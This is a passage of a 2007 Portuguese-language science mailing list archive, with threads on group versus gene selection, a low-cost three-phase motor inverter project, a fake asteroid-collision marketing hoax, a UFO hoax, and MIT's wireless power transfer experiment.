normais. Mas você não pode dizer que extinção em massa catastrófica
não seja um tipo de seleção, mesmo que seja bastante singular e raro.
Os selecionados ali foram os mamíferos, que herdaram o mundo dos
dinossauros, abrindo caminho para seu desenvolvimento.
"

Mas a questão é justamente definir o termo "seleção de grupo". Se
considerar que é apenas seleção, não há discordância, pelo menos não
muita (o Takata pode ainda considerar que as características que
mantiveram algumas espécies vivas e outras não não foram
"selecionadas" de toda forma).

A ação da seleção natural deve se dar sobre uma característica (ou
padrão de características) de modo a produzir resultados diferentes
(morte, vida ou número de descendentes).

Se essa característica sobre a qual age a seleção é útil ao individuo,
em primeira lugar, a seleção é de individuo. Se é útil ao grupo, é
seleção de grupo. E se é útil ao gene, chegamos (ou retornamos) ao
gene egoísta.

Mas, cada característica pode ser útil a mais de um elemento, e na
verdade quase sempre o é. Ser útil ao gene, é ser útil ao indivíduo. E
um individuo mais capaz (e seus descendentes), em animais gregários, é
sempre útil ao grupo.

O que torna estes conceitos diferentes, a ponto de justificar a
discussão e o debate sobre eles, é a prioridade, a ação em caso de
disputa entre os elementos beneficiados (genes, indivíduos e grupos).

Quase nenhum biólogo discute que os genes são os principais elementos
em que age a seleção natural. Se um gene determinar (ou aumentar as
chances, na verdade) uma característica útil ao próprio gene, este
será selecionado positivamente, ainda que cause dano ao individuo.

Por exemplo, se um gene causa um aumento da fecundidade, aumentando a
quantidade de descendentes que seu portador possui, este será
selecionado e passará a fazer parte do "pool" genético, mesmo que um
efeito colateral como morrer jovem ou ter câncer também esteja presente.

A questão se resume então a saber se existe algum tipo de pressão
seletiva que atuando em benefício do grupo, se mantenha no pool
genético ainda que cause dano ou prejuízo ao individuo. E é isso que
não parece ser possível.

Por mais que uma característica seja benéfica ao grupo, se ela causar
prejuízo ao individuo, e em última análise ao gene, tenderá a desaparecer

A altura das árvores, por exemplo. Se um gene que limitasse essa
altura se espalhasse no pool genético, isso seria vantajoso para todo
grupo, pois não seria necessário o esforço de crescer sempre mais
alto, para garantir a luz solar. Mas não é possível fazer um "acordo
de cavalheiros", visando o benefício do grupo de árvores, porque a
cada geração, qualquer árvore, ou qualquer gene que determine uma
altura minimamente maior que o "acordado", se beneficiará em
detrimento das outras.

Grupos podem, me parece, competir entre sí, e a grosso modo,
representar uma "seleção de grupo". Mas se analisar com mais detalhe
onde exatamente a pressão seletiva se deu, encontrará uma
caracteristica individul, genética, e não do grupo propriamente.

Ou seja, o grupo que teve vantagem, o fez por ter um determinado gene,
que controla ou preve determinada característica, se espalhado no
"pool" genético desse grupo, por seleção natural, entre disputa
individual.

A mudança catastrófica não é diferente, apenas é mais rara. Mas ainda
é a mudança ambiental agindo nos indivíduos e genes, não exatamente
nos grupos.

Seria interessante se fosse possível encontrar um exemplo de
característica de um grupo que fosse daninha (ou irrelevante) para o
individuo, mas que se mantém no grupo por ser benéfica a este (em
relação a outro grupo que não a possua).

Um abraço.

Homero






--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Olá, Takata.
>
> > A extinção em massa catastrófica não é um bom exemplo de seleção
>
> Pode não ser um bom exemplo de seleção, mas ainda assim é um exemplo
> de seleção.
>
> > No caso específico da extinção K-T, os grupos extintos não
> apresentam
> > nenhuma característica óbvia q compartilhem e q os distingam dos
> > grupos q sobreviveram.
>
> Deviam apresentar. Se não uma, algumas características que fizeram
> todos os grupos de dinossauros, com exceção da linhagem das aves, se
> extinguirem, enquanto os mamíferos conseguiram sobreviver. Imagino
> até que deve haver especulações quanto a isso. O fato de não serem
> endotérmicos, talvez.
>
> > E mm q se se tratasse de seleção, não iria se configurar
> > necessariamente em seleção de grupo.
>
> Não é aquele tipo de seleção de grupo que você falou, de
> características selecionadas que são boas para o grupo, mas não para
> os indivíduos, o que seria uma seleção mais dentro dos padrões
> normais. Mas você não pode dizer que extinção em massa catastrófica
> não seja um tipo de seleção, mesmo que seja bastante singular e raro.
> Os selecionados ali foram os mamíferos, que herdaram o mundo dos
> dinossauros, abrindo caminho para seu desenvolvimento.
>
> Saudações,
> João de Carvalho
>




SUBJECT: Re: Seleção de grupos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/06/2007 20:33

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> A questão se resume então a saber se existe algum tipo de pressão
> seletiva que atuando em benefício do grupo, se mantenha no pool
> genético ainda que cause dano ou prejuízo ao individuo. E é isso que
> não parece ser possível.

Possível é, mas depende de condições muito peculiares de modo q
levanta forte suspeita de q não seja algo muito comum.

Nota: não são tão poucos os biólogos q negam a primordialidade do gene
como unidade de seleção. Alguns proeminentes como Lewontin.

[]s,

Roberto Takata



SUBJECT: Re: Inversor trifásico mínimo
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/06/2007 21:27

Olá Murilo e todos!

Eu estou trabalhando para cortar "gorduras eletrônicas" (termo
extraído do grupo Biocom.google.br), ou seja, trabalho de formiguinha.
Quem sou eu para competir com a WEG, entretanto, ela não ofereçe ao
mercado um inversor "tabajara" que custe R$ 100,00. Espero não
ultrapassar R$ 100,00 na versão final do inversor trifásico mínimo.
Este é o meu desejo, se vou conseguir ainda não sei.

Leiam o texto abaixo extraído do site mercado livre
(http://produto.mercadolivre.com.br/MLB-57456106-inversor-de-frequencia-clps-motores-acionamentos-weg-_JM),

tem muita informação do vendedor.

Um fato me chamou atenção, tem um tal CABO DE PROGRAMAÇÃO VIA MICRO
TP03 que custa R$ 125,00 e outro TP02 que custa R$ 140,00. Espero que
os modelos da WEG não precisem de cabos para programação, pois o ITM
(Ih Tipoalgo Maluco, ou melhor, Inversor Trifásico Mínimo) já vai
economizar no mínimo R$ 125,00.

Outro trecho interessante:

1/05/2007 11:32 Amigo, Quanto sai 2 inversores trifásicos 380 Vac,
sendo 1 de 3 Cv e outro de 1,5 Cv? Preciso que esses inversores
possuam o multspeed para colocar mais de uma velocidade. Obrigado..
Urgente!!! IVOGONTIJO (11)10 e 49
31/05/2007 12:08 tenho o CFW08 com função mult-speed(até 8
velocidades pré-programadas) sendo o de 1,5cv(2,7A) = R$ 1.100,00 e de
3cv(6,5A) = R$ 1.420,00, entre no nosso site mkmmotores, abraços


A íntegra dos esclarecimentos:

06/06/2007 12:24 Este inversor é de uma esteira de fazer
exercícios. DEBRANDO22 (1)
06/06/2007 13:38 sim ADW para esteira
06/06/2007 12:22 Necessito de um inversor da WEG, mod.
ADW040030M1024x2220OC3Z, ou outro que possa substituí-lo, voçê pode
conseguir um pra mim? DEBRANDO22 (1)
06/06/2007 13:38 tenho pronta entrega, a base de troca, por R$ 655,00
a vista
04/06/2007 08:49 O inversor Weg tem alguma vantagem em relação ao
inversor Abb que custa 400,00 para 1 CV e frete gratis? JWBLANSKI
(60)50 e 99
04/06/2007 09:05 não conheço o produto da ABB, destaco a assistencia
tecnica em todo o territorio nacional e garantia de 12 meses do nosso
equipamento. obrigado
02/06/2007 01:10 Com o inversor Weg de 560,00 eu posso controlar a
rotação de um motor através de um potenciometro? Eu posso inverter a
rotação do motor através de um botão suavemente sem dar tombo?
JWBLANSKI (60)50 e 99
04/06/2007 08:29 sim pode controlar tudo isso, obrigado
01/06/2007 01:04 Com este inversor de 560,00 eu posso ligar um motor
tri-fásico de 1CV a partir de uma tensão de alimentação monofásica de
220V? JWBLANSKI (60)50 e 99
01/06/2007 09:32 sim pode ,alimetação mono saida tri, abraços
31/05/2007 15:31 Gostaria de orçar um CLP TP-02 mod.TP-02/20MT e
28MT, e um TPW-03/20MT-A e 30MT-A, com seus respectivos cabos de
comunicação (1 un.). Faz parcelado? Frete para 12235610. NUUNEES
(16)10 e 49
31/05/2007 16:10 TP02/20MT- R$936,00 // TP02/28MT - R$1.170,00 //
TPW03/20MT-A - R$ 940,00 // TPW03/30MT-A - R$ 1.170,00 // CABO DE
PROGRAMAÇÃO VIA MICRO TP03 - R$ 125,00 // CABO DE PROGRAMAÇÃO CIA
MICRO TP02 - R$ 140,00 ---- QUALQUER DUVIDA ENTRE NO SITE MKMMOTORES E
ENTRE EM CONTATO, OBRIGADO
31/05/2007 11:32 Amigo, Quanto sai 2 inversores trifásicos 380 Vac,
sendo 1 de 3 Cv e outro de 1,5 Cv? Preciso que esses inversores
possuam o multspeed para colocar mais de uma velocidade. Obrigado..
Urgente!!! IVOGONTIJO (11)10 e 49
31/05/2007 12:08 tenho o CFW08 com função mult-speed(até 8
velocidades pré-programadas) sendo o de 1,5cv(2,7A) = R$ 1.100,00 e de
3cv(6,5A) = R$ 1.420,00, entre no nosso site mkmmotores, abraços
30/05/2007 18:40 amigo reformulando. é um motor da weg de 4cv, está
escrito 220/440V, 1745Rpm, está escrito Mot 112M,, como faço para
saber se é trifasico ou não, peguei ele numa divida e ele estava
ligado em 220com um monte de capacitores mas não virava muito bem.
XOROMEMO3 (1)
31/05/2007 07:33 o motor que vc descreve é trifasico e deve estar
partido no modo "gambiarra" ligado com capacitores na rede monofasica
porem sua potencia cai em 40% e pode queimar a qualquer hora.
infelizmente com inversor de frequencia vc consegue partir somente
motores até 3cv na rede monofasica. o correto é vc trocar o motor por
um monofasico blindado na mesma potencia. abraços
29/05/2007 13:47 amigo tenho um elevador de carros e gostaria de um
inversor de frequencia para automatiza-lo o q vc me aconselharia é um
motor weg de 5cv trifasico XOROMEMO3 (1)
29/05/2007 13:51 se vc tem rede trifasica saia fora do inversor e
ligue direto a chave no motor. agora 5cv acho que é muita coisa para
um elevador. os que tem por ai no maximo 3cv abraços
29/05/2007 13:11 Olá, tem como vc dar uma diminuida nesse valor de
735,00 do 7,3 ai ficaria com os dois. No aguardo JOELSIM_PINHEIRO2007 (0)
29/05/2007 13:46 colega tenho aqui o CFW 10 7,3amp. com
potenciomentro incorporado alimentação 220v(monofasico) por R$ 650,00,
entra no site mkmmotores e me liga abraços
28/05/2007 19:05 Olá gostaria de saber se vc tem inversor de
frequencia com potencia de 1,5 KW equivalente a 2HP ou 2 CV corrente
maxima 7,5 amper frewuencia da menor até a maior. CASO TENHA FAVOR
INFORMAR O VALOR. Grato. JOELSIM_PINHEIRO2007 (0)
29/05/2007 10:28 colega tenho 2 modelos cfw08 7,3 amp(alimentação
mono / trif). para R$ 735,00 e cfw08 7,0 amp(alimentação trif.) para
R$ 685,00. qualquer coisa entre no site mkmmotores e nos ligue. abraços
26/05/2007 12:47 gostaria de saber se vc tem cmo faser uma cotacao de
uma interface SERIA 232 e uma MIW-02 para ligar um inversor na rede a
400 mts de distäncia,sera que pode me dar essa cotacao meu nick +
rotmail, com essa placa e possivel controlalo a distancia via PC CERTO
!!ok! NALDO2510 (22)10 e 49
28/05/2007 14:14 colega, entre no site e nos ligue para tirar suas
duvidas. para 400mts é possivel porem complicado.sds
25/05/2007 09:47 Olá, preciso de um conversor de frequencia 220V
monofásico para spindle DC 20 CV. Vc tem e quanto custa? Obrigado pela
atenção. TRILHA1000 (2)
25/05/2007 09:55 colega eu tenho conversores tipo CMW para motores de
corrente continua, porem necessito saber varias dados do seu motor,
entre no site "mkmmotores" e nos ligue abraços
23/05/2007 18:05 Voce trabalha tb com contatores? ..vou te
ligar!!!Abraços!!! FERNANDO.123 (146)100 e 499
24/05/2007 07:34 toda a linha weg, fico no aguardo, para entrar no
site procure MKM em motores abraços
23/05/2007 14:10 CFW08 36A 220V FERNANDO.123 (146)100 e 499
23/05/2007 16:19 respondido
23/05/2007 14:09 Qual o valor de um cfw08 36A? FERNANDO.123 (146)100
e 499
23/05/2007 16:19 não ha CFW08 para 36amp em 220v. A corrente maxima
do CFW08 em 220 v é 33A para motor de 12,5cv ao preço de R$ 2.350,00
temos o CFW09 para 38amp ao preço de R$ 3.390,00 qualque coisa entre
no nosso site e nos ligue obrigado
23/05/2007 12:35 Olá amigo!!!!! Quanto fica o cabo de programação do
clic02???? Poderia me passar o valor de um inversor de 1CV da weg com
entrada monofásica 220V Obrigado IKEDA10 (2)
23/05/2007 16:19 cabo = R$ 115,00 // inversor CFW08 4,0 amp = R$
550,00, grato
19/05/2007 18:03
Este espaço foi editado pelo MercadoLivre
Dentro do site não é permitido publicar dados pessoais, fora os campos
específicos. Se você tem alguma dúvida, lhe recomendamos consultar as
Políticas de Publicação.
ELETRONTECNICA (1)
21/05/2007 09:07 pergunte novamente sem colocar dados pessoais ou
entre no site e me ligue, abraço
18/05/2007 17:31 POR FAVOR, INFORME SEU PREÇO PARA UM INVERSOR 220 V
EM MOTOR DE 2 CV . SE POSSÍVEL USADO . OBRIGADO ROLODEBORRACHA (10)10
e 49
21/05/2007 09:07 não trabalho com usados. o novo fica em R$ 690,00,
entre no site e me ligue
18/05/2007 11:04 Preciso de um inversor para amanha, entre em
contato. LAWJR (5)3 e 9
18/05/2007 11:11 colega entre em contato pelo fone do site mkm
comercio e serviços, abraços
18/05/2007 07:49 quanto fica um pra motor de 1/2 cv com alimentação
bifasica EDSONJS (1)
18/05/2007 07:58 tenho CFW08 2,6amp 220v por R$ 495,00 ,faturo com
cadastro para 28 dd, abraços
17/05/2007 10:05 Olá. Qual seria o modelo indicado para um motor
trifásico de 3CV, e qual seria o preço? Abraço GUGUINET (8)3 e 9
17/05/2007 10:17 CFW080100b2024psz - 10amperes - 220 v - R$ 1.050,00,
obrigado


Quem leu até aqui, está realmente interessado no assunto.
Junte-se ao projeto ITM, por um inversor trifásico mínimo e livre.
Risos.

Abraços
Tipoalgo





SUBJECT: Re: Seleção de grupos
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/06/2007 21:43

Olá Takata

Takata: "Possível é, mas depende de condições muito peculiares de modo
q levanta forte suspeita de q não seja algo muito comum."

Tem razão. É possível que seja tão raro, que na somatória das forças
que influenciam a especiação não seja significativa, uma exceção a
justificar a regra.

Takata: "Nota: não são tão poucos os biólogos q negam a
primordialidade do gene como unidade de seleção. Alguns proeminentes
como Lewontin."

Acho que os proeminentes acabam dando visibilidade a discussão,
fazendo parecer que estão em maior número do que na realidade..:-)

E boa parte da defesa da seleção de individuo, em oposição a do gene,
me parece um tanto acadêmica, ou mesmo implicância com os termos, pois
é sempre difícil pensar em uma vantagem (ou desvantagem) que de uma
forma ou de outra não atinja o indivíduo. Nem, penso eu, era a
intenção de George Williams ao criar o termo.

Em geral, nos ataques ao gene egoísta, sempre parece que um
"espantalho" está sob ataque, algo que não era a idéia central de
Williams e Dawkins, mas apenas um exagero criado para permitir o ataque.

E já li diversos textos de Dawkins debatendo exatamente esse exagero,
essa má compreensão do termo "egoísta" aplicado aos genes. Em
especial, ao analisar os ataques de Gould a teoria do gene egoísta (eu
gosto demais dos livros de Gould, mas também acho que ele exagera um
pouco, tanto sobre a questão do gene, quanto sobre sua teoria do
equilíbrio pontuado).

Mais especificamente, as respostas do próprio George Williams as
considerações de Lewontin são, me parece, suficientes para esclarecer
este debate sobre o egoísmo dos genes.

Um abraço.

Homero





--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@>
> > A questão se resume então a saber se existe algum tipo de pressão
> > seletiva que atuando em benefício do grupo, se mantenha no pool
> > genético ainda que cause dano ou prejuízo ao individuo. E é isso que
> > não parece ser possível.
>
> Possível é, mas depende de condições muito peculiares de modo q
> levanta forte suspeita de q não seja algo muito comum.
>
> Nota: não são tão poucos os biólogos q negam a primordialidade do gene
> como unidade de seleção. Alguns proeminentes como Lewontin.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: Seleção de grupos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/06/2007 22:14

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Acho que os proeminentes acabam dando visibilidade a discussão,
> fazendo parecer que estão em maior número do que na realidade..:-)

Isso vale mais para o lado dos q defendem os genes como nível de
seleção. Como Dawkins tem uma circulação como divulgador, o pessoal de
fora da área fica com a impressão de q a opinião de Dawkins é a
predominante na academia. (De certa forma foi tb a impressão q Gould
deixou a respeito de seu equilíbrio pontuado.)

Os genes como o nível de seleção é mais arraigado entre os, claro,
biólogos moleculares. Há bons defensores tb em outras paragens, mas a
escolha dos genes é um azarão entre os ecólogos (alguns gatos pingados
com perninhas em Gaia), biossistematas e fisiologistas.

> Mais especificamente, as respostas do próprio George Williams as
> considerações de Lewontin são, me parece, suficientes para
> esclarecer este debate sobre o egoísmo dos genes.

Mais pra esclarecer a visão dos q defendem a seleção em nível de genes
do q para colocar um ponto final do debate a favor dessa visão.

As críticas - mútuas - são bem mais profundas do q simples rabugice
semântica. O próprio Dawkins reconhece algumas contribuições de
pessoas como David Sloan Wilson.

Sem q seja propriamente uma síntese dialética desse embate, em um
horizonte próximo é provável q a teoria da seleção em níveis múltiplos
venha a ser a escola dominante entre os biólogos.

[]s,

Roberto Takata



SUBJECT: Re: Seleção de grupos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 01:08

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Sem q seja propriamente uma síntese dialética desse embate, em um
> horizonte próximo é provável q a teoria da seleção em níveis
> múltiplos venha a ser a escola dominante entre os biólogos.

Um exemplo disso pode ser o caso de tumores malignos.

Um gene mutado q faça com q a célula se divida descontroladamente
obviamente tem uma vantagem seletiva em frente a outras cópias do gene
q não confira essa característica. De tal forma q a célula cancerosa
irá se multiplicar e se espalhar pelo organismo. Até o nível de
células, essa mutação é vantajosa.

Porém, indivíduos acometidos de câncer apresentam uma média de
sobrevida bastante reduzida. Tendem a deixar poucos descendentes
(especialmente se a doença se manifesta cedo em sua vida). Claramente,
no nível organísmico, essa mutação é desvantajosa.

(Se considerarmos alguns superorganismos como colméias de abelhas ou
colônias de pólipos das caravelas, poderemos estender a questão para
esse nível.)

Do ponto de vista dos genes, a supressão do tumor atua de certo modo
em termos de seleção de grupo. É análogo ao espalhamento de uma
mutação que leva à extinção de toda uma população.

Se essa visão está correta ou não, dependerá de algumas análises
matemáticas a serem feitas.

[]s,

Roberto Takata



SUBJECT: Asteróide verdadeiro ou publicitário?
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 07:15

Tinha visto em outr amailing list uma chamada para a noticia da "possivel"
colisão do Asteróide Pallas com a terra, dada pelo site
http://www.mundodaastronomia.com, e prevista por "astrônomos amadores", sem
comprovação das autoridades (pra "evitar" pânico), noticia muito esquisita.
Por acaso, achei um post interessante sobre o assunto. E, sim, a maioria dos
sites que achei era sobre o novo "Pallas", carro da Peugeot (acho).

Primeiramente, dêem uma lida na noticia em:
http://www.mundodaastronomia.com

Depois o Post:

http://www.pvision.com.br/blog/2007/06/11/colisao-do-asteroide-pallas-o-mais-novo-tiro-no-pe-do-marketing-de-guerrilha-brasileiro/

Gil


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: “Asteróide Pallas poderá se chocar com a Terra em 2007″ (ou: Compre um carro novo)
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 11/06/2007 09:29

"Asteróide Pallas poderá se chocar com a Terra em 2007″ (ou: Compre um carro
novo) <http://www.ceticismoaberto.com/news/?p=899>

Astrônomos amadores descobriram que o asteróide 2-Pallas teve sua órbita
alterada e segundo os últimos cálculos está em rota de colisão com a Terra.
Os principais centros espaciais do mundo ainda não se pronunciaram, mas já
existe uma grande mobilização na comunidade científica e militar.
O impacto poderá trazer grandes conseqüências, levando em conta a extensão
do asteróide, considerada a segunda maior do cinturão que vai de Marte a
Júpiter.
O 2-Pallas mede 558×526x532 km e caso a informação seja confirmada trará
mudanças sem precedentes na existência humana na Terra. A colisão deverá
acontecer na primeira quinzena de julho de 2007. Logo, deveremos ter novas
notícias das autoridades competentes, que por enquanto evitam comentar o
fato para não gerar um descontrole generalizado na população mundial.
[Observatório de
asteróides<http://www.mundodaastronomia.com/noticias/ciencias/0,,P4LL45369-5601,00.html>
]

Curiosamente, se você tentar acessar qualquer outra página do site do
"Observatório de asteróides", não encontrará nada. Tão ou mais curioso, se
procurar por qualquer notícia independente sobre o
2-Pallas<http://en.wikipedia.org/wiki/2_Pallas>,
que é em verdade o terceiro maior asteróide do cinturão, não encontrará
nada. O que pode encontrar é que em julho deste ano, a Citroen lançará o
Pallas<http://ultimosegundo.ig.com.br/economia/2007/06/06/citro235n_c4_pallas_224_venda_816321.html>
.
Se parece inacreditável que uma campanha de marketing seria feita desta
forma, veja como os gênios publicitários compararam espaço na página inicial
do Estadão e moldaram seu anúncio como uma notícia:

O e-code tem a notícia completa <http://www.messa.com.br/eric/ecode/>.
[via GEOcomunidade <http://www.orkut.com/Community.aspx?cmm=8252172>]

Postado em Ceticismo <http://www.ceticismoaberto.com/news/?cat=12> | Por
Mori Comente! » <http://www.ceticismoaberto.com/news/?p=899#respond>

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SUBJECT: Ventilador transformista: os cabelos, que diferença!
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 11/06/2007 09:30

Ventilador transformista: os cabelos, que
diferença!<http://www.ceticismoaberto.com/news/?p=900>

<http://www.ufocasebook.com/bigbasin.html>
Mais uma série de imagens do ventilador
transformista<http://www.ceticismoaberto.com/news/?p=889>.
Depois de dias escondido, bem se vê que o ventilador preparava grandes
transformações cosméticas. Você pode conferir uma tradução do que seria a
história contada pelos fotógrafos desta nova série no blog
Área51<http://z001.ig.com.br/ig/51/24/122072/blig/area51/2007_06.html#post_18869867>,
mas sinceramente, seria perda de tempo. Ufólogos ainda podem insistir que
seria um "drone" secreto do governo americano, mas se isto já era
implausível desde o início a qualquer um com alguma noção de como as coisas
funcionam em nosso mundo, as repetidas *transformações *na aparência do
objeto tornam *extremamente *implausível que seja um objeto real e
terrestre. E cada vez mais provável que seja parte de uma campanha de
marketing para o filme Transformers, que estréia em pouco mais de uma
semana.

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>| Por Mori
Comente!
» <http://www.ceticismoaberto.com/news/?p=900#respond>

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desvendado<http://www.ceticismoaberto.com/news/?p=893>O vídeo acima
(do qual apenas os segundos ...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Grupo transmite eletricidade sem fio
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/06/2007 09:51

São Paulo, sexta-feira, 08 de junho de 2007
Grupo transmite eletricidade sem fio
Experimento feito por brasileiro de 25 anos em universidade americana abre caminho para celulares auto-recarregáveis

Físico usou mesmo princípio de aparelhos de imagem médica para transmitir 60 W de potência a 2 metros pelo ar e ligar uma lâmpada

RICARDO BONALUME NETO
DA REPORTAGEM LOCAL

Um grupo de pesquisa nos EUA conseguiu transmitir eletricidade sem fios, abrindo a possibilidade de, em alguns anos, ser possível recarregar celulares ou computadores portáteis sem precisar conectá-los a uma tomada. O próprio uso de baterias químicas poderá ser dispensado, diminuindo o dano ambiental que elas produzem ao serem jogadas fora.
"Usamos simples bobinas de cobre, não foi preciso nenhum material exótico", diz o físico brasileiro André Kurs, 25, primeiro autor do estudo publicado no site da revista "Science" (www.sciencexpress.org). Kurs está fazendo doutorado no MIT (Instituto de Tecnologia de Massachusetts), sob orientação de Marin Soljacic, que também assina o estudo.
O experimento foi feito explorando propriedades magnéticas de duas bobinas de cobre.
A idéia por trás do truque é a utilização de dois objetos a uma certa distância um do outro, capazes de trocar a energia com eficiência entre si sem interagir com o ambiente.
O truque foi o uso da ressonância magnética, a mesma tecnologia consagrada em aparelhos de diagnóstico médico. Dois objetos que têm a mesma ressonância vibram na mesma freqüência e trocam energia. É como uma taça que vibra até quebrar com o grito de uma soprano -só que Kurs usou magnetismo em vez de som.
"Cada bobina age como um objeto com uma ressonância a uma freqüência determinada", diz Kurs. Ele fez as bobinas oscilarem na mesma freqüência, de 10 megahertz, um valor baixo. O campo magnético da primeira bobina estimula o da segunda que estimula de volta a primeira, e a transmissão de energia é possível graças a esse efeito de ressonância mútua.
O sistema tem uma grande vantagem: não afeta o ser humano. Em vez de irradiar o ambiente com ondas eletromagnéticas -como a luz ou ondas de rádio-, a transferência de energia é feita através desse magnetismo "não-radiante".
Com isso, a interação com o resto do ambiente é muito fraca, o que se demonstrou ao colocar um anteparo entre as bobinas -a luz continuou acesa. Os próprios pesquisadores se colocaram entre as bobinas sem afetar o resultado - "nós não ressonamos na mesma freqüência, nem afetamos o campo magnético", afirma Kurs.
A equipe conseguiu transmitir 60 watts de eletricidade com 40% de eficiência a uma distância de até dois metros.

Idéia simples
Antes mesmo do sucesso do experimento, o grupo de Kurs já havia batizado esse modo de transmissão de "WiTricity" -acrônimo para eletricidade sem fio ("wireless", em inglês). Meses atrás, os cientistas já tinham publicado uma análise teórica da possibilidade dessa transmissão sem fio.
A idéia usava se baseia em teorias tão consolidadas que vale perguntar por que ninguém tinha tentando fazer isso antes, já que o experimento envolve materiais comuns.
"Porque, até recentemente, não havia necessidade desse tipo de aplicação", afirma Kurs. "Celulares e notebooks são coisa mais de uns dez nos para cá". Agora que estão disseminados, esses objetos eletrônicos criam novas necessidades.
A idéia surgiu anos atrás, quando o orientador de Kurs, Soljacic, levantou da cama tarde da noite para recarregar um celular que bipava pedindo a eletricidade. "Foi provavelmente a sexta vez naquele mês que acordei com meu celular bipando para me avisar que tinha esquecido de recarregá-lo" disse. "Me ocorreu que seria muito bom se a coisa se encarregasse da própria recarga."
O método tradicional de transmitir informação sem fio, através de ondas eletromagnéticas -como as ondas de rádio-, não serve para enviar energia elétrica. Como a radiação se espalha em todas as direções -o que permite ouvir rádio em um carro em movimento-, a maior parte da eletricidade se perderia no ambiente




Wireless Power Transfer via Strongly Coupled Magnetic Resonances
André Kurs 1*, Aristeidis Karalis 2, Robert Moffatt 1, J. D. Joannopoulos 1, Peter Fisher 3, Marin Soljacic 1
1 Department of Physics, Massachusetts Institute of Technology, Cambridge, MA 02139, USA.
2 Department of Electrical Engineering and Computer Science, Massachusetts Institute of Technology, Cambridge, MA 02139, USA.
3 Department of Physics and Laboratory for Nuclear Science, Massachusetts Institute of Technology, Cambridge, MA 02139, USA.


* To whom correspondence should be addressed.
André Kurs , E-mail: akurs@mit.edu



Using self-resonant coils in a strongly coupled regime, we experimentally demonstrate efficient non-radiative power transfer over distances of up to eight times the radius of the coils. We demonstrate the ability to transfer 60W with approximately 40% efficiency over distances in excess of two meters. We present a quantitative model describing the power transfer which matches the experimental results to within 5%. We discuss practical applicability and suggest directions for further studies.


http://www.sciencemag.org/cgi/content/abstract/1143254

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] Acorda após 19 anos em coma
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/06/2007 10:03

José Renato, é muito difícil dizer pensando o que os outros dizem sem pensar. Vc não acha que a célula velha faz 'backup' para uma célula nova antes de ser substituída? Como vc poderia lembrar algo de sua infância se não fosse assim? A célula se vai, a informação fica! Eu tb penso assim. Como isso ocorre, ainda não sabemos mas, se quiser uma hipótese provisória (que muitos irão aceitar, mesmo sem verificar!) use: deus quis assim! Em breve essa hipótese sobrenatural será substituída por algo mais racional, algo científico.

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 6 de junho de 2007 22:04
Assunto: Re: [ciencialist] Acorda após 19 anos em coma


Se vc acha deve ser pura verdade, pra você.
Agora, além de acordar, abra os olhos e as idéias que surge numa informação
dessas: onde fica instalada a memória? Calcula-se que o corpo tem suas
células substituídas, totalmente, entre dois a sete anos, a depender da
idade do indivíduo. Isso pode indicar que apesar do material celular de
memória ter sido substituído a memória permanece. Onde? Eis a questão que me
surgiu enquanto refletia sobre o imenso acervo da ciência da Física.
[]s
JR
.....................................




SUBJECT: Re: Asteróide verdadeiro ou publicitário?
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 10:06

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
>
> Primeiramente, dêem uma lida na noticia em:
> http://www.mundodaastronomia.com

Primeiro, o asteróide existe, e é conhecido desde o início do século XIX:

http://en.wikipedia.org/wiki/2_Pallas

Segundo, não faz sentido a alegação de que agências governamentais
estejam escondendo informações para evitar o pânico. A prova disso é
que assim que se soube que o Apophis poderia atingir a Terra em 2029,
a notícia foi divulgada. Se é assim que as "agências governamentais"
escondem informações...

Terceiro, existem vários projetos para encontrar e rastrear objetos
